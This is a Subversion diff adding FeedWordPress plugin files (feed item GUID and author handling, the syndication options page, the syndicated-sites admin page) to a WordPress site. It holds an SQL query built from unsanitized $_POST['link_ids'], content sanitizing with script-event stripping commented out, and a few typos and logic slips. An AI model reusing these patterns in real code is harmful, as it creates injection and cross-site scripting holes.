+		elseif (isset($this->item['dc']['identifier'])) :// yeah, right
+			$guid = $this->item['dc']['identifier'];
+		else :
+			// The feed does not seem to have provided us with a
+			// unique identifier, so we'll have to cobble together
+			// a tag: URI that might work for us. The base of the
+			// URI will be the host name of the feed source ...
+			$bits = parse_url($this->feedmeta['link/uri']);
+			$guid = 'tag:'.$bits['host'];
+
+			// If we have a date of creation, then we can use that
+			// to uniquely identify the item. (On the other hand, if
+			// the feed producer was consicentious enough to
+			// generate dates of creation, she probably also was
+			// conscientious enough to generate unique identifiers.)
+			if (!is_null($this->created())) :
+				$guid .= '://post.'.date('YmdHis', $this->created());
+			
+			// Otherwise, use both the URI of the item, *and* the
+			// item's title. We have to use both because titles are
+			// often not unique, and sometimes links aren't unique
+			// either (e.g. Bitch (S)HITLIST, Mozilla Dot Org news,
+			// some podcasts). But it's rare to have *both* the same
+			// title *and* the same link for two different items. So
+			// this is about the best we can do.
+			else :
+				$guid .= '://'.md5($this->item['link'].'/'.$this->item['title']);
+			endif;
+		endif;
+		return $guid;
+	}
+	
+	function author () {
+		$author = array ();
+		
+		if (isset($this->item['author_name'])):
+			$author['name'] = $this->item['author_name'];
+		elseif (isset($this->item['dc']['creator'])):
+			$author['name'] = $this->item['dc']['creator'];
+		elseif (isset($this->item['dc']['contributor'])):
+			$author['name'] = $this->item['dc']['contributor'];
+		elseif (isset($this->feed->channel['dc']['creator'])) :
+			$author['name'] = $this->feed->channel['dc']['creator'];
+		elseif (isset($this->feed->channel['dc']['contributor'])) :
+			$author['name'] = $this->feed->channel['dc']['contributor'];
+		elseif (isset($this->feed->channel['author_name'])) :
+			$author['name'] = $this->feed->channel['author_name'];
+		elseif ($this->feed->is_rss() and isset($this->item['author'])) :
+			// The author element in RSS is allegedly an
+			// e-mail address, but lots of people don't use
+			// it that way. So let's make of it what we can.
+			$author = parse_email_with_realname($this->item['author']);
+			
+			if (!isset($author['name'])) :
+				if (isset($author['email'])) :
+					$author['name'] = $author['email'];
+				else :
+					$author['name'] = $this->feed->channel['title'];
+				endif;
+			endif;
+		else :
+			$author['name'] = $this->feed->channel['title'];
+		endif;
+		
+		if (isset($this->item['author_email'])):
+			$author['email'] = $this->item['author_email'];
+		elseif (isset($this->feed->channel['author_email'])) :
+			$author['email'] = $this->feed->channel['author_email'];
+		endif;
+		
+		if (isset($this->item['author_url'])):
+			$author['uri'] = $this->item['author_url'];
+		elseif (isset($this->feed->channel['author_url'])) :
+			$author['uri'] = $this->item['author_url'];
+		else:
+			$author['uri'] = $this->feed->channel['link'];
+		endif;
+
+		return $author;
+	} // SyndicatedPost::author()
+	
+	var $uri_attrs = array (
+		array('a', 'href'),
+		array('applet', 'codebase'),
+		array('area', 'href'),
+		array('blockquote', 'cite'),
+		array('body', 'background'),
+		array('del', 'cite'),
+		array('form', 'action'),
+		array('frame', 'longdesc'),
+		array('frame', 'src'),
+		array('iframe', 'longdesc'),
+		array('iframe', 'src'),
+		array('head', 'profile'),
+		array('img', 'longdesc'),
+		array('img', 'src'),
+		array('img', 'usemap'),
+		array('input', 'src'),
+		array('input', 'usemap'),
+		array('ins', 'cite'),
+		array('link', 'href'),
+		array('object', 'classid'),
+		array('object', 'codebase'),
+		array('object', 'data'),
+		array('object', 'usemap'),
+		array('q', 'cite'),
+		array('script', 'src')
+	); /* var SyndicatedPost::$uri_attrs */
+
+	var $_base = null;
+
+	function resolve_single_relative_uri ($refs) {
+		$tag = FeedWordPressHTML::attributeMatch($refs);
+		$url = Relative_URI::resolve($tag['value'], $this->_base);
+		return $tag['prefix'] . $url . $tag['suffix'];
+	} /* function SyndicatedPost::resolve_single_relative_uri() */
+
+	function resolve_relative_uris ($content, $obj) {
+		# The MagpieRSS upgrade has some `xml:base` support baked in.
+		# However, sometimes people do silly things, like putting
+		# relative URIs out on a production RSS 2.0 feed or other feeds
+		# with no good support for `xml:base`. So we'll do our best to
+		# try to catch any remaining relative URIs and resolve them as
+		# best we can.
+		$obj->_base = $obj->item['link']; // Reset the base for resolving relative URIs
+
+		foreach ($obj->uri_attrs as $pair) :
+			list($tag, $attr) = $pair;
+			$pattern = FeedWordPressHTML::attributeRegex($tag, $attr);
+			$content = preg_replace_callback (
+				$pattern,
+				array(&$obj, 'resolve_single_relative_uri'),
+				$content
+			);
+		endforeach;
+
+		return $content;
+	} /* function SyndicatedPost::resolve_relative_uris () */
+
+	var $strip_attrs = array (
+		array('[a-z]+', 'target'),
+//		array('[a-z]+', 'style'),
+//		array('[a-z]+', 'on[a-z]+'),
+	);
+
+	function strip_attribute_from_tag ($refs) {
+		$tag = FeedWordPressHTML::attributeMatch($refs);
+		return $tag['before_attribute'].$tag['after_attribute'];
+	}
+
+	function sanitize_content ($content, $obj) {
+		# This kind of sucks. I intend to replace it with
+		# lib_filter sometime soon.
+		foreach ($obj->strip_attrs as $pair):
+			list($tag,$attr) = $pair;
+			$pattern = FeedWordPressHTML::attributeRegex($tag, $attr);
+
+			$content = preg_replace_callback (
+				$pattern,
+				array(&$obj, 'strip_attribute_from_tag'),
+				$content
+			);
+		endforeach;
+		return $content;
+	}
+} // class SyndicatedPost
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication-options.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication-options.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication-options.php	(revision 44)
@@ -0,0 +1,243 @@
+<?php
+require_once(dirname(__FILE__) . '/admin-ui.php');
+
+function fwp_syndication_options_page () {
+        global $wpdb, $wp_db_version, $fwp_path;
+	
+	if (FeedWordPress::needs_upgrade()) :
+		fwp_upgrade_page();
+		return;
+	endif;
+
+	// If this is a POST, validate source and user credentials
+	FeedWordPressCompatibility::validate_http_request(/*action=*/ 'feedwordpress_options', /*capability=*/ 'manage_options');
+
+	if (isset($_POST['create_index'])) :
+		FeedWordPress::create_guid_index();
+?>
+<div class="updated">
+<p><?php _e('Index created on database table.')?></p>
+</div>
+<?php
+	endif;
+
+	if (isset($_POST['submit']) or isset($_POST['create_index'])) :
+		update_option('feedwordpress_cat_id', $_REQUEST['syndication_category']);
+		update_option('feedwordpress_update_logging', $_REQUEST['update_logging']);
+		update_option('feedwordpress_debug', $_POST['feedwordpress_debug']);
+		update_option('feedwordpress_automatic_updates', ($_POST['automatic_updates']=='yes'));
+		update_option('feedwordpress_update_time_limit', ($_POST['update_time_limit']=='yes')?(int) $_POST['time_limit_seconds']:0);
+
+		$freshness_interval = (isset($_POST['freshness_interval']) ? (int) $_POST['freshness_interval'] : 10);
+		update_option('feedworidpress_freshness', $freshness_interval*60);
+
+		if (isset($_REQUEST['hardcode_name']) and ($_REQUEST['hardcode_name'] == 'no')) :
+			update_option('feedwordpress_hardcode_name', 'no');
+		else :
+			update_option('feedwordpress_hardcode_name', 'yes');
+		endif;
+		
+		if (isset($_REQUEST['hardcode_description']) and ($_REQUEST['hardcode_description'] == 'no')) :
+			update_option('feedwordpress_hardcode_description', 'no');
+		else :
+			update_option('feedwordpress_hardcode_description', 'yes');
+		endif;
+
+		if (isset($_REQUEST['hardcode_url']) and ($_REQUEST['hardcode_url'] == 'no')) :
+			update_option('feedwordpress_hardcode_url', 'no');
+		else :
+			update_option('feedwordpress_hardcode_url', 'yes');
+		endif;
+?>
+<div class="updated">
+<p><?php _e('Options saved.')?></p>
+</div>
+<?php
+	endif;
+
+	$cat_id = FeedWordPress::link_category_id();
+	$update_logging = get_option('feedwordpress_update_logging');
+	$feedwordpress_debug = (get_option('feedwordpress_debug')=='yes');
+
+	$update_time_limit = (int) get_option('feedwordpress_update_time_limit');
+	$automatic_updates = get_option('feedwordpress_automatic_updates');
+
+	$freshness_interval = get_option('feedwordpress_freshness');
+	if (false === $freshness_interval) :
+		$freshness_interval = FEEDWORDPRESS_FRESHNESS_INTERVAL;
+	endif;
+	$freshness_interval = $freshness_interval / 60; // convert to minutes
+
+	$hardcode_name = get_option('feedwordpress_hardcode_name');
+	$hardcode_description = get_option('feedwordpress_hardcode_description');
+	$hardcode_url = get_option('feedwordpress_hardcode_url');
+	
+	if (isset($wp_db_version) and $wp_db_version >= 4772) :
+		$results = get_categories(array(
+			"type" => 'link',
+			"hide_empty" => false,	
+		));
+		
+		// Guarantee that the Contributors category will be in the drop-down chooser, even if it is empty.
+		$found_link_category_id = false;
+		foreach ($results as $row) :
+			if ($row->cat_id == $cat_id) :	$found_link_category_id = true;	endif;
+		endforeach;
+		
+		if (!$found_link_category_id) :	$results[] = get_category($cat_id); endif;
+	else :
+		$results = $wpdb->get_results("SELECT cat_id, cat_name, auto_toggle FROM $wpdb->linkcategories ORDER BY cat_id");
+	endif;
+
+	$cats = array_map('trim',
+			preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, get_option('feedwordpress_syndication_cats'))
+	);
+	$dogs = SyndicatedPost::category_ids($cats, /*unfamiliar=*/ NULL);
+
+	$tags = array_map('trim',
+			preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, get_option('feedwordpress_syndication_tags'))
+	);
+	
+	if (fwp_test_wp_version(FWP_SCHEMA_27)) :
+		$icon = '<div class="icon32"><img src="'.htmlspecialchars(WP_PLUGIN_URL.'/'.$fwp_path.'/feedwordpress.png').'" alt="" /></div>';
+	else :
+		$icon = '';
+	endif;
+
+	if (fwp_test_wp_version(FWP_SCHEMA_26)) :
+		$options = __('Settings');
+	else :
+		$options = __('Options');
+	endif;
+?>
+<script type="text/javascript">
+	function contextual_appearance (item, appear, disappear, value, checkbox) {
+		var rollup=document.getElementById(item);
+		var newuser=document.getElementById(appear);
+		var sitewide=document.getElementById(disappear);
+		if (rollup) {
+			if ((checkbox && rollup.checked) || (!checkbox && value==rollup.value)) {
+				if (newuser) newuser.style.display='block';
+				if (sitewide) sitewide.style.display='none';
+			} else {
+				if (newuser) newuser.style.display='none';
+				if (sitewide) sitewide.style.display='block';
+			}
+		}
+	}
+</script>
+
+<div class="wrap">
+<?php print $icon; ?>
+<h2>Syndication <?php print $options; ?></h2>
+<div id="poststuff">
+<form action="" method="post">
+<?php
+	FeedWordPressCompatibility::stamp_nonce('feedwordpress_options');
+	fwp_linkedit_single_submit();
+?>
+<div id="post-body">
+<?php fwp_option_box_opener('Syndicated Feeds', 'syndicatedfeedsdiv'); ?>
+<table class="editform" width="100%" cellspacing="2" cellpadding="5">
+<tr>
+<th width="33%" scope="row">Syndicated Link category:</th>
+<td width="67%"><?php
+	echo "\n<select name=\"syndication_category\" size=\"1\">";
+	foreach ($results as $row) :
+		if (!isset($row->cat_id)) : $row->cat_id = $row->cat_ID; endif;
+	
+		echo "\n\t<option value=\"$row->cat_id\"";
+		if ($row->cat_id == $cat_id) :
+			echo " selected='selected'";
+		endif;
+		echo ">$row->cat_id: ".wp_specialchars($row->cat_name);
+		if ('Y' == $row->auto_toggle) :
+			echo ' (auto toggle)';
+		endif;
+		echo "</option>\n";
+	endforeach;
+	echo "\n</select>\n";
+?></td>
+</tr>
+
+<tr style="vertical-align: top">
+<th width="33%" scope="row">Check for updates:</th>
+<td width="67%"><select name="automatic_updates" size="1">
+<option value="yes"<?php echo ($automatic_updates)?' selected="selected"':''; ?>>automatically</option>
+<option value="no"<?php echo (!$automatic_updates)?' selected="selected"':''; ?>>only when I request</option>
+</select>
+</td>
+</tr>
+
+<tr style="vertical-align: top">
+<th width="33%" scope="row"><?php print __('Time limit on updates'); ?>:</th>
+<td width="67%"><select id="time-limit" name="update_time_limit" size="1" onchange="contextual_appearance('time-limit', 'time-limit-box', null, 'yes');">
+<option value="no"<?php echo ($update_time_limit>0)?'':' selected="selected"'; ?>>no time limit on updates</option>
+<option value="yes"<?php echo ($update_time_limit>0)?' selected="selected"':''; ?>>limit updates to no more than...</option>
+</select>
+<span id="time-limit-box"><label><input type="text" name="time_limit_seconds" value="<?php print $update_time_limit; ?>" size="5" /> seconds</label></span>
+</tr>
+
+<script type="text/javascript">
+	contextual_appearance('time-limit', 'time-limit-box', null, 'yes');
+</script>
+
+<tr><th width="33%" scope="row" style="vertical-align:top">Feed information:</th>
+<td width="67%"><ul style="margin:0;padding:0;list-style:none">
+<li><input type="checkbox" name="hardcode_name" value="no"<?php echo (($hardcode_name=='yes')?'':' checked="checked"');?>/> Update the contributor title when the feed title changes</li>
+<li><input type="checkbox" name="hardcode_description" value="no"<?php echo (($hardcode_description=='yes')?'':' checked="checked"');?>/> Update when contributor description if the feed tagline changes</li>
+<li><input type="checkbox" name="hardcode_url" value="no"<?php echo (($hardcode_url=='yes')?'':' checked="checked"');?>/> Update the contributor homepage when the feed link changes</li>
+</ul></td></tr>
+</table>
+<?php fwp_linkedit_periodic_submit(); ?>
+<?php fwp_option_box_closer(); ?>
+
+<?php
+	FeedWordPressSettingsUI::instead_of_posts_box();
+	FeedWordPressSettingsUI::instead_of_authors_box();
+	FeedWordPressSettingsUI::instead_of_categories_box();
+	
+	fwp_option_box_opener('Back End', 'backenddiv', 'postbox');
+?>
+<table class="editform" width="100%" cellspacing="2" cellpadding="5">
+<tr style="vertical-align: top">
+<th width="33%" scope="row">Update notices:</th>
+<td width="67%"><select name="update_logging" size="1">
+<option value="yes"<?php echo (($update_logging=='yes')?' selected="selected"':''); ?>>write to PHP logs</option>
+<option value="no"<?php echo (($update_logging!='yes')?' selected="selected"':''); ?>>don't write to PHP logs</option>
+</select></td>
+</tr>
+<tr style="vertical-align: top">
+<th width="33%" scope="row">Debugging mode:</th>
+<td width="67%"><select name="feedwordpress_debug" size="1">
+<option value="yes"<?php echo ($feedwordpress_debug ? ' selected="selected"' : ''); ?>>on</option>
+<option value="no"<?php echo ($feedwordpress_debug ? '' : ' selected="selected"'); ?>>off</option>
+</select>
+<p>When debugging mode is <strong>ON</strong>, FeedWordPress displays many diagnostic error messages,
+warnings, and notices that are ordinarily suppressed, and turns off all caching of feeds. Use with
+caution: this setting is absolutely inappropriate for a production server.</p>
+</td>
+</tr>
+
+<tr style="vertical-align: top">
+<th width="33%" scope="row">Guid index:</th>
+<td width="67%"><input class="button" type="submit" name="create_index" value="Create index on guid column in posts database table" />
+<p>Creating this index may significantly improve performance on some large
+FeedWordPress installations.</p></td>
+</tr>
+</table>
+<?php
+	fwp_option_box_closer();
+	fwp_linkedit_periodic_submit();
+	fwp_linkedit_single_submit_closer();
+?>
+</div>
+</form>
+
+</div> <!-- id="poststuff" -->
+</div> <!-- class="wrap" -->
+<?php
+}
+
+	fwp_syndication_options_page();
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/syndication.php	(revision 44)
@@ -0,0 +1,1080 @@
+<?php
+require_once(dirname(__FILE__) . '/admin-ui.php');
+require_once(dirname(__FILE__) . '/magpiemocklink.class.php');
+require_once(dirname(__FILE__) . '/feedfinder.class.php');
+
+$FeedWordPressHTTPStatusMessages = array (
+	200 => 'OK. FeedWordPress had no problems retrieving the content at this URL but the content does not seem to be a feed, and does not seem to include links to any feeds.',
+	201 => 'Created',
+	202 => 'Accepted',
+	203 => 'Non-Authoritative information',
+	204 => 'No Content',
+	205 => 'Reset Content',
+	206 => 'Partial Content',
+	300 => 'Multiple Choices',
+	301 => 'Moved Permanently',
+	302 => 'Found',
+	303 => 'See Other',
+	304 => 'Not Modified',
+	305 => 'Use Proxy',
+	307 => 'Temporary Redirect',
+	400 => 'Bad Request',
+	401 => 'Unauthorized. This URL probably needs a username and password for you to access it.',
+	402 => 'Payment Required',
+	403 => 'Forbidden. The URL is not made available for the machine that FeedWordPress is running on.',
+	404 => 'Not Found. There is nothing at this URL. Have you checked the address for typos?',
+	405 => 'Method Not Allowed',
+	406 => 'Not Acceptable',
+	407 => 'Proxy Authentication Required',
+	408 => 'Request Timeout',
+	409 => 'Conflict',
+	410 => 'Gone. This URL is no longer available on this server and no forwarding address is known.',
+	411 => 'Length Required',
+	412 => 'Precondition Failed',
+	413 => 'Request Entity Too Large',
+	414 => 'Request URI Too Long',
+	415 => 'Unsupported Media Type',
+	416 => 'Requested Range Not Satisfiable',
+	417 => 'Expectation Failed',
+	500 => 'Internal Server Error. Something unexpected went wrong with the configuration of the server that hosts this URL. You might try again later to see if this issue has been resolved.',
+	501 => 'Not Implemented',
+	502 => 'Bad Gateway',
+	503 => 'Service Unavailable. The server is currently unable to handle the request due to a temporary overloading or maintenance of the server that hosts this URL. This is probably a temporary condition and you should try again later to see if the issue has been resolved.',
+	504 => 'Gateway Timeout',
+	505 => 'HTTP Version Not Supported',
+);
+
+################################################################################
+## ADMIN MENU ADD-ONS: implement Dashboard management pages ####################
+################################################################################
+
+if (fwp_test_wp_version(0, FWP_SCHEMA_25)) :
+	define('FWP_UPDATE_CHECKED', 'Update Checked Links');
+	define('FWP_UNSUB_CHECKED', 'Unsubscribe from Checked Links');
+	define('FWP_SYNDICATE_NEW', 'Syndicate Â»');
+else :
+	define('FWP_UPDATE_CHECKED', 'Update Checked');
+	define('FWP_UNSUB_CHECKED', 'Unsubscribe');
+	define('FWP_SYNDICATE_NEW', 'Syndicate Â»');
+endif;
+
+function feedwordpress_syndication_toggles () {
+?>
+		<script type="text/javascript">
+			jQuery(document).ready( function($) {
+				// In case someone got here first.
+				$('.postbox h3, .postbox .handlediv').unbind('click');
+				$('.postbox h3 a').unbind('click');
+				$('.hide-postbox-tog').unbind('click');
+				$('.columns-prefs input[type="radio"]').unbind('click');
+				$('.meta-box-sortables').sortable('destroy');
+				
+				postboxes.add_postbox_toggles('feedwordpresssyndication');
+			} );
+		</script>
+<?php
+}
+
+function fwp_dashboard_update_if_requested () {
+	global $wpdb;
+
+	if (isset($_POST['update']) or isset($_POST['action']) or isset($_POST['update_uri'])) :
+		$fwp_update_invoke = 'post';
+	else :
+		$fwp_update_invoke = 'get';
+	endif;
+
+	$update_set = array();
+	if (isset($_POST['link_ids']) and is_array($_POST['link_ids']) and ($_POST['action']==FWP_UPDATE_CHECKED)) :
+		$targets = $wpdb->get_results("
+			SELECT * FROM $wpdb->links
+			WHERE link_id IN (".implode(",",$_POST['link_ids']).")
+			");
+		if (is_array($targets)) :
+			foreach ($targets as $target) :
+				$update_set[] = $target->link_rss;
+			endforeach;
+		else : // This should never happen
+			FeedWordPress::critical_bug('fwp_syndication_manage_page::targets', $targets, __LINE__);
+		endif;
+	elseif (isset($_POST['update_uri'])) :
+		$update_set[] = $_POST['update_uri'];
+	endif;
+
+	shuffle($update_set); // randomize order for load balancing purposes...
+	if ($fwp_update_invoke != 'get' and count($update_set) > 0) : // Only do things with side-effects for HTTP POST or command line
+		$feedwordpress =& new FeedWordPress;
+		add_action('feedwordpress_check_feed', 'update_feeds_mention');
+		add_action('feedwordpress_check_feed_complete', 'update_feeds_finish', 10, 3);
+
+		$crash_dt = (int) get_option('feedwordpress_update_time_limit');
+		if ($crash_dt > 0) :
+			$crash_ts = time() + $crash_dt;
+		else :
+			$crash_ts = NULL;
+		endif;
+
+		if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+			echo "<div class=\"youare\">\n";
+		else :
+			echo "<div class=\"updated\">\n";
+		endif;
+		echo "<ul>\n";
+		$tdelta = NULL;
+		foreach ($update_set as $uri) :
+			if (!is_null($crash_ts) and (time() > $crash_ts)) :
+				echo "<li><p><strong>Further updates postponed:</strong> update time limit of ".$crash_dt." second".(($crash_dt==1)?"":"s")." exceeded.</p></li>";
+				break;
+			endif;
+
+			if ($uri == '*') : $uri = NULL; endif;
+			$delta = $feedwordpress->update($uri, $crash_ts);
+			if (!is_null($delta)) :
+				if (is_null($tdelta)) :
+					$tdelta = $delta;
+				else :
+					$tdelta['new'] += $delta['new'];
+					$tdelta['updated'] += $delta['updated'];
+				endif;
+			else :
+				echo "<li><p><strong>Error:</strong> There was a problem updating <a href=\"$uri\">$uri</a></p></li>\n";
+			endif;
+		endforeach;
+		echo "</ul>\n";
+
+		if (!is_null($tdelta)) :
+			$mesg = array();
+			if (isset($delta['new'])) : $mesg[] = ' '.$tdelta['new'].' new posts were syndicated'; endif;
+			if (isset($delta['updated'])) : $mesg[] = ' '.$tdelta['updated'].' existing posts were updated'; endif;
+			echo "<p>Update complete.".implode(' and', $mesg)."</p>";
+			echo "\n"; flush();
+		endif;
+		echo "</div> <!-- class=\"updated\" -->\n";
+	elseif (fwp_test_wp_version(FWP_SCHEMA_25)) :
+?>
+		<p class="youare">Check currently scheduled feeds for new and updated posts.</p>
+<?php
+	endif;
+}
+
+function fwp_syndication_manage_page () {
+	global $wpdb;
+
+	if (FeedWordPress::needs_upgrade()) :
+		fwp_upgrade_page();
+		return;
+	endif;
+
+?>
+<?php $cont = true;
+if (isset($_REQUEST['action'])):
+	if ($_REQUEST['action'] == 'feedfinder' or $_REQUEST['action'] == FWP_SYNDICATE_NEW) : $cont = fwp_feedfinder_page();
+	elseif ($_REQUEST['action'] == 'switchfeed') : $cont = fwp_switchfeed_page();
+	elseif ($_REQUEST['action'] == 'linkedit') : $cont = fwp_linkedit_page();
+	elseif ($_REQUEST['action'] == FWP_UNSUB_CHECKED or $_REQUEST['action'] == 'Unsubscribe') : $cont = fwp_multidelete_page();
+	endif;
+endif;
+
+if ($cont):
+?>
+<?php
+	$links = FeedWordPress::syndicated_links();
+?>
+	<div class="wrap">
+<?php	if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<div class="icon32"><img src="<?php print htmlspecialchars(WP_PLUGIN_URL.'/'.$GLOBALS['fwp_path'].'/feedwordpress.png'); ?>" alt="" /></div>
+	<h2>Syndicated Sites</h2>
+<?php 	endif;
+	if (fwp_test_wp_version(0, FWP_SCHEMA_25)) :
+		fwp_dashboard_update_if_requested();
+	endif;
+
+	if (fwp_test_wp_version(FWP_SCHEMA_27)) :
+		if (fwp_test_wp_version(FWP_SCHEMA_27, FWP_SCHEMA_28)) :
+			$hook_it = 'admin_footer';
+		else : // WordPress 2.8+
+			$hook_it = 'admin_footer-feedwordpress/syndication.php';
+		endif;
+		add_action($hook_it, 'feedwordpress_syndication_toggles', /*priority=*/ 10000);
+		echo "<form style='display: none' method='get' action=''>\n<p>\n";
+		wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+		wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+		echo "</p>\n</form>\n";
+		
+		if ($links) :
+			add_meta_box(
+				/*id=*/ 'feedwordpress_update_box',
+				/*title=*/ __('Update feeds now'),
+				/*callback=*/ 'fwp_syndication_manage_page_update_box',
+				/*page=*/ 'feedwordpresssyndication',
+				/*context =*/ 'feedwordpresssyndication'
+			);
+		endif;
+		add_meta_box(
+			/*id=*/ 'feedwordpress_feeds_box',
+			/*title=*/ __('Syndicated sources'),
+			/*callback=*/ 'fwp_syndication_manage_page_links_box',
+			/*page=*/ 'feedwordpresssyndication',
+			/*context =*/ 'feedwordpresssyndication'
+		);
+?>
+	<div class="metabox-holder">		
+	<div id="feedwordpresssyndication-sortables" class="meta-box-sortables ui-sortable">
+<?php
+		do_meta_boxes('feedwordpresssyndication', 'feedwordpresssyndication', NULL);
+	else :
+		if ($links): // only display Update panel if there are some links to update....
+			fwp_syndication_manage_page_update_box();
+		endif;
+		fwp_syndication_manage_page_links_box();
+?>
+		</div> <!-- class="wrap" -->
+
+		<?php if (fwp_test_wp_version(0, FWP_SCHEMA_25)) : ?>
+		<div class="wrap">
+		<form action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+		<div><?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_feeds'); ?></div>
+		<h2>Add a new syndicated site:</h2>
+		<div>
+		<label for="add-uri">Website or feed:</label>
+		<input type="text" name="lookup" id="add-uri" value="URI" size="64" />
+		<input type="hidden" name="action" value="feedfinder" />
+		</div>
+		<div class="submit"><input type="submit" value="Syndicate &raquo;" /></div>
+		</form>
+		</div> <!-- class="wrap" -->
+		<?php endif; ?>
+
+		<div style="display: none">
+		<div id="tags-input"></div> <!-- avoid JS error from WP 2.5 bug -->
+		</div>
+<?php
+	endif;
+endif;
+} /* function fwp_syndication_manage_page () */
+
+function fwp_syndication_manage_page_update_box ($object = NULL, $box = NULL) {
+	$updateFeedsNow = __('Update feeds now');
+?>
+	<form action="" method="POST">
+	<div><?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_feeds'); ?></div>
+	<?php if (fwp_test_wp_version(FWP_SCHEMA_25, FWP_SCHEMA_27)) : ?>
+		<div id="rightnow">
+		<h3 class="reallynow"><span><?php print $updateFeedsNow; ?></span>
+		<input type="hidden" name="update_uri" value="*" /><input style="float: right; border: none;" class="rbutton" type="submit" name="update" value="Update" />
+		<br class="clear"/></h3>
+	<?php elseif (fwp_test_wp_version(0, FWP_SCHEMA_25)) : ?>	
+		<h2><?php print $updateFeedsNow; ?></h2>
+	<?php endif; ?>
+
+<?php
+	if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+		fwp_dashboard_update_if_requested();
+	else :
+?>
+<p>Check currently scheduled feeds for new and updated posts.</p>
+<?php	endif; ?>
+
+<?php 	if (!get_option('feedwordpress_automatic_updates')) : ?>
+	<p class="youhave"><strong>Note:</strong> Automatic updates are currently turned
+	<strong>off</strong>. New posts from your feeds will not be syndicated
+	until you manually check for them here. You can turn on automatic
+	updates under <a href="admin.php?page=<?php print $GLOBALS['fwp_path']; ?>/syndication-options.php">Syndication
+	Options</a>.</p>
+<?php 	endif; ?>
+
+	<?php if (!fwp_test_wp_version(FWP_SCHEMA_25, FWP_SCHEMA_27)) : ?>
+	<div class="submit"><input type="hidden" name="update_uri" value="*" /><input class="button-primary" type="submit" name="update" value="Update" /></div>
+	<?php endif; ?>
+	
+	<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+		<br style="clear: both" />
+	<?php elseif (fwp_test_wp_version(FWP_SCHEMA_25, FWP_SCHEMA_27)) : ?>
+		</div> <!-- id="rightnow" -->
+		</div> <!-- class="wrap" -->
+	<?php elseif (fwp_test_wp_version(0, FWP_SCHEMA_25)) : ?>
+		</div> <!-- class="wrap" -->
+	<?php endif; ?>
+	</form>
+<?php
+} /* function fwp_syndication_manage_page_update_box () */
+
+function fwp_syndication_manage_page_links_box ($object = NULL, $box = NULL) {
+	$links = FeedWordPress::syndicated_links();
+?>
+	<?php if (!fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+		<div class="wrap">
+		<h2>Syndicated Sites</h2>
+	<?php endif; ?>
+
+	<form id="syndicated-links" action="admin.php?page=<?php print $GLOBALS['fwp_path']; ?>/<?php echo basename(__FILE__); ?>" method="post">
+	<div><?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_feeds'); ?></div>
+
+<?php	$alt_row = true; ?>
+
+	<?php if (fwp_test_wp_version(FWP_SCHEMA_25)) : ?>
+	<div class="tablenav">
+	<div class="alignright">
+	<label for="add-uri">Add new source:</label>
+	<input type="text" name="lookup" id="add-uri" value="Website or feed URI" />
+<script type="text/javascript">
+jQuery(document).ready( function () {
+	var addUri = jQuery("#add-uri");
+	var box = addUri.get(0);
+	if (box.value==box.defaultValue) { addUri.addClass('form-input-tip'); }
+	addUri.focus(function() {
+		if ( this.value == this.defaultValue )
+			jQuery(this).val( '' ).removeClass( 'form-input-tip' );
+	});
+	addUri.blur(function() {
+		if ( this.value == '' )
+			jQuery(this).val( this.defaultValue ).addClass( 'form-input-tip' );
+	});
+
+} );
+</script>
+
+	<input type="hidden" name="action" value="feedfinder" />
+	<input type="submit" class="button-secondary" name="action" value="<?php print FWP_SYNDICATE_NEW; ?>" /></div>
+
+<?php	if (count($links) > 0) : ?>
+	<div class="alignleft">
+	<input class="button-secondary" type="submit" name="action" value="<?php print FWP_UPDATE_CHECKED; ?>" />
+	<input class="button-secondary delete" type="submit" class="delete" name="action" value="<?php print FWP_UNSUB_CHECKED; ?>" />
+	</div>
+<?php 	endif; ?>
+
+	<br class="clear" />
+	</div>
+	<br class="clear" />
+	
+	<table class="widefat">
+	<?php else : ?>
+	<table width="100%" cellpadding="3" cellspacing="3">
+	<?php endif; ?>
+<thead>
+<tr>
+<th class="check-column" scope="col"><?php if (fwp_test_wp_version(FWP_SCHEMA_25)) : ?>
+<input type="checkbox" <?php if (fwp_test_wp_version(FWP_SCHEMA_25, FWP_SCHEMA_26)) : ?>onclick="checkAll(document.getElementById('syndicated-links'));"<?php endif; ?> />
+<?php endif; ?></th>
+<th scope="col"><?php _e('Name'); ?></th>
+<th scope="col"><?php _e('Feed'); ?></th>
+<th scope="col"><?php _e('Updated'); ?></th>
+</tr>
+</thead>
+
+<tbody>
+<?php		if (count($links) > 0): foreach ($links as $link):
+			$alt_row = !$alt_row; ?>
+<tr<?php echo ($alt_row?' class="alternate"':''); ?>>
+<th class="check-column" scope="row"><input type="checkbox" name="link_ids[]" value="<?php echo $link->link_id; ?>" /></th>
+<?php
+	if (strlen($link->link_rss) > 0):
+		$caption=__('Switch Feed');
+	else :
+		$caption=__('Find Feed');
+	endif;
+?>
+<td>
+<strong><a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>&amp;link_id=<?php echo $link->link_id; ?>&amp;action=linkedit"><?php echo wp_specialchars($link->link_name, 'both'); ?></a></strong>
+<div class="row-actions"><div><strong>Settings &gt;</strong>
+<a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>&amp;link_id=<?php echo $link->link_id; ?>&amp;action=linkedit"><?php _e('Feed'); ?></a>
